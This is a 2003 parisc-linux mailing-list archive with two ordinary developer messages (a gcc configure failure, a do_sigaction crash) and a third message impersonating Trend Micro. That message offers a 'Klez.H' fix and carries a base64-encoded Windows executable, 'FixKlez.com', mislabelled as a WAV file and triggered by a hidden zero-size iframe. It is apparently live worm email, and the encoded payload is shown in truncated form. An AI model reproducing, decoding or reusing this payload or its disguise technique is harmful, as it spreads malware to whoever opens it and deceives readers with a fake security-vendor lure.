	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 13:28:35 -0600 (MDT)
Original-Received: from gmsoft.tuxicoman.be ([2001:6f8:204:20:210:a7ff:fe10:1a3e])
	by server.da-kot with esmtp (Exim 3.36 #1 (Debian))
	id 19RdBA-0004Qv-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 21:28:40 +0200
User-Agent: KMail/1.5.2
In-Reply-To: <200306152057.17848.gmsoft@gentoo.org>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18668

Ok, in fact it's od which have a little problem.

Thanks tausq for his help and sorry for this post :)

On Sunday 15 June 2003 20:57, Guy Martin wrote:
> Hi,
>
> I'm trying to build a 64bit gcc but the configuration script fail.
>
> ./configure --host=hppa2.0-unknown-linux-gnu --prefix=/usr
> --target=hppa64-linux --disable-shared --disable-nls --enable-64-bit-bfd
> --enable-languages=c
> [snip]
> checking for CHAR_BIT... yes
> checking byte ordering... od: od.c:1324: read_block: Assertion `0 < n && n
> <= bytes_per_block' failed.
> unknown
> configure: error: *** unable to determine endianness
> Configure in /var/tmp/portage/gcc-3.2.2/work/gcc-3.2.2/gcc failed, exiting.
>
> What's wrong ?
>
> Regards

-- 
Guy Martin
Gentoo - HPPA port Lead / IPv6 team
Lug Charleroi (Belgium)



From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5.71-pa1 do_sigaction problem
Date: Sun, 15 Jun 2003 23:14:01 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200306160314.h5G3E2SF003545@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.53.0306150945230.651@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622515 26700 80.91.229.3 (22 Nov 2014 02:15:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 15 21:14:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD5A34829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 21:14:09 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5G3E3gL003546;
	Sun, 15 Jun 2003 23:14:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5G3E2SF003545;
	Sun, 15 Jun 2003 23:14:02 -0400 (EDT)
In-Reply-To: <Pine.BSF.4.53.0306150945230.651@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at Jun 15, 2003 09:52:19 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18669

>  IAOQ[0]: __canonicalize_funcptr_for_compare+0x38/0x134
>  IAOQ[1]: __canonicalize_funcptr_for_compare+0x3c/0x134
>  RP(r2): do_sigaction+0xe0/0x290

Fixes for this have been discussed on the list several times before.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trend Micro <av_patch@trendmicro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Patch for Klez.H
Date: Mon,16 Jun 2003 13:29:21 PM
Lines: 819
Approved: news@gmane.org
Message-ID: <20030616053011.DD3664829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary=#YABAO92666#
X-Trace: ger.gmane.org 1416622515 26704 80.91.229.3 (22 Nov 2014 02:15:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:15 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 15 23:30:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.parisc-linux.org (unknown [202.113.25.81])
	by dsl2.external.hp.com (Postfix) with SMTP id DD3664829
	for <parisc-linux@parisc-linux.org>; Sun, 15 Jun 2003 23:30:11 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18670

--#YABAO92666#
Content-Type: text/html
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:C09ue625d16131oG height=3D0 width=3D0>
</iframe>
<FONT></FONT>
Klez.H is the most common world-wide spreading worm.It's very dangerous by corrupting your files.<BR><BR>Because of its very smart stealth and anti-anti-virus technic,most common AV software can't detect or clean it.<BR><BR>We developed this free immunity tool to defeat the malicious virus.<BR><BR>You only need to run this tool once,and then Klez will never come into your PC</BODY></HTML>

--#YABAO92666#
Content-Type: audio/x-wav;
	name=FixKlez.com
Content-Transfer-Encoding: base64
Content-ID: <C09ue625d16131oG>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADR6StslYhFP5WIRT+ViEU/7pRJP5SIRT8WlEs/hYhFP32XTz/RiEU/lYhF
P5aIRT/3l1Y/nohFP5WIRD/tiEU/fZdOP5GIRT8tjkM/lIhFP1JpY2iViEU/AAAAAAAAAABQRQAA
TAEDAHoBXT4AAAAAAAAAAOAADwELAQYAALAAAAAQAAAAMAQA4OMEAABABAAA8AQAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAABQAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAABD1BAB8AQAAAPAEABAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAHJyMDEAAAAAADAEAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBy
cjAyAAAAAACwAAAAQAQAAKYAAAAEAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAPAEAAAI
AAAAqgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
